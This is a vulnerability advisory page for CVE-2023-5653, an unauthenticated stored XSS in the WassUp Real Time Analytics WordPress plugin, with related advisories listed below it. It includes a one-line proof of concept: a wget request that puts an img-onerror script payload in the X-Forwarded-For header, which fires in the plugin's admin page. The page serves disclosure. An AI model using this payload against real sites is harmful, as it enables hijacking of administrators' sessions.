WassUp Real Time Analytics <= 1.9.4.5 – Unauthenticated Stored XSS | CVE 2023-5653 | Plugin Vulnerabilities

Description

The plugin does not escape IP address provided via some headers before outputting them back in an admin page, allowing unauthenticated users to perform Stored XSS attacks against logged in admins

Proof of Concept

wget --header="X-Forwarded-For: <img src=x onerror=alert(1)>" https://example.com -q -O-

The XSS will be triggered when an admin access the SPY Visitors page of the plugin (ie https://example.com/wp-admin/admin.php?page=wassup-spia)

Affects Plugins

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://cert.pl

Submitter twitter

Verified

Yes

WPVDB ID

76316621-1987-44ea-83e5-6ca884bdd1c0

Timeline

Publicly Published

2023-11-06 (about 2 years ago)

Added

2023-11-06 (about 2 years ago)

Last Updated

2023-11-06 (about 2 years ago)

Other

Published

Title

Published

2023-12-27

Title

CRM Perks Forms < 1.1.3 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2022-07-18

Title

YaySMTP < 2.2.1 - Subscriber+ Stored Cross-Site Scripting

Published

2025-09-26

Title

Click & Tweet <= 0.8.9 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2024-06-11

Title

BuddyPress < 12.5.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2024-03-28

Title

Limit Attempts by BestWebSoft < 1.3.0 - Reflected Cross-Site Scripting